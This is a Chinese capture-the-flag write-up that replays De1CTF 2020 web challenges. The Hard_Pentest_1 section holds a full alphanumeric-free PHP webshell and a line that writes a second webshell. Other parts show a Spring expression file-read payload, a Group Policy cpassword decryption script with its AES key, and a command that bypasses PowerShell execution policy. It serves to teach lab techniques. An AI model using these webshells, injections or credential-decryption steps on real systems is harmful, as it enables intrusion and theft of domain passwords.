De1CTF2020web复现(not done)

一、check in

fuzz一下,php后缀类型的都不行,并且检测了上传文件的文件内容:
在这里插入图片描述
过滤了可以看到过滤了ph>,可以通过短标签绕过,是一样的,前者是短标签,后者是长标签:
De1CTF2020web复现(not done)_第1张图片
然后上传.htaccess解析jpg,按平常写会检测到ph,可以通过换行拼接来bypass:
De1CTF2020web复现(not done)_第2张图片
De1CTF2020web复现(not done)_第3张图片

在这里插入图片描述

二、calc

题目给出了一个网页计算器:
De1CTF2020web复现(not done)_第4张图片
随意运算一下:
在这里插入图片描述
有个路径,点进去:
De1CTF2020web复现(not done)_第5张图片

然后fuzz了一会表达式看能不能触发点啥也没有结果,俺好垃圾。
不过倒是知道是spring框架写的:
De1CTF2020web复现(not done)_第6张图片
javaweb,做了一个月的题目就遇到过一次java题,俺不会,看了wp,他是这样payload的:

(NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()

然后就出flag了?:
在这里插入图片描述

BufferedReader流的简单介绍:

java.io.BufferedReader extends Reader

继承自父类的共性成员文件:

int read()读取单个字符并返回

int read(char[] cbuf)一次读取多个字符,将字符读入数组

void close()关闭该流并释放与之关联的所有资源

构造方法:

1.BufferedReader(Reader in)构建一个使用默认大小输入缓冲区的缓冲字符输入流

2.BufferedReader(Reader in,int sz)创建一个使用指定大小输入缓冲区的缓冲字符输入流

参数:

Read in:字符输入流

我们可以传递FileReader,缓冲流会给FileReader增加一个缓冲区,提高FileReader的读取效率。

特有成员方法:

String readLine()读取一个文本行,读取一行数据

行的终止符号:通过下列字符之一即可认为某行已终止:换行(‘\n’)、(‘\r’)或回车后直接跟着换行。

代码如下:

public class Demo01BufferedReader { public static void main(String
args[]) throws IOException {

//1.创建字符缓冲输入流对象,构造方法中传递字节输出流

BufferedReader br=new BufferedReader(new
FileReader(“D:\programming\Eclipse\eclipse-workspace\bbb\src\bbb\a”));

//2.使用缓冲输入流对象中的方法read/readLine读取文本

String line; while((line=br.readLine())!=null)
{//不知道文件中有多少行数据,用while循环 System.out.println(line); }

//3.释放资源

br.close(); } }

明天搭个环境自己试一下。

三、Hard_Pentest_1

考点:window渗透,无字母shell
参考链接:

https://www.freebuf.com/column/236039.html
https://www.cnblogs.com/W4nder/p/12829102.html

源码:


//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

可以看到Check函数中对字母数字进行了正则过滤:[a-z0-9;~^&|]`,P神写过一篇文章关于无字母数字shell的:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
但是还过滤了分号,我从别的师傅wp看到可以用短标签绕过:
shell:

$_=[]?>$_=@"$_"?>
 $_=$_['!'=='@']?>
$__=$_?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$___=$__?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$___.=$__?>
$__=$_?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$___.=$__?>
$__++?>
$___.=$__?>
$__=$_?>
$__++?>
$__++?>
$__++?>
$__++?>
$___.=$__?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$___.=$__?>
$____='_'?>
$__=$_?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$____.=$__?>
$__=$_?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$____.=$__?>
$__=$_?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
 $____.=$__?>
$__=$_?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$__++?>
$____.=$__?>
$_=$$____?>
$___($_[_])?>

然后写一个小马:

_=echo "$_POST['v']); ?>">>shell.php

就可以蚁剑连接,不知道为什么菜刀连不了。
发现一个压缩包:flag1_and_flag2hint.zip
De1CTF2020web复现(not done)_第7张图片
下载发现打开需要密码,接下来就按师傅们的wp复现了,第一次做windows渗透有点难顶。
查看我们所在的域net time /domain,得到我们所在域为De1CTF2020.lab,找到De1CTF2020.lab文件夹进入SYSVOL文件夹找到Groups.xml配置文件:
然后需要找到相应的策略组id的配置文件,如下是配置文件Groups.xml
De1CTF2020web复现(not done)_第8张图片
cpassword为AES-256加密
本地跑一下解密脚本得到:
zL1PpP@sSwO3d
即可得到flag:
De1CTF{GpP_11Is_SoOOO_Ea3333y}
脚本:

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword 
    )

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)
        
        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }


        $Base64Decoded = [Convert]::FromBase64String($Cpassword)
        
        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
        
        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
        
        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    } 
    
    catch {Write-Error $Error[0]}
}  
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"

利用:

建立一个ps1文件,powershell执行: powershell -executionpolicy bypass -file [文件名].ps1

你可能感兴趣的:(复现wp)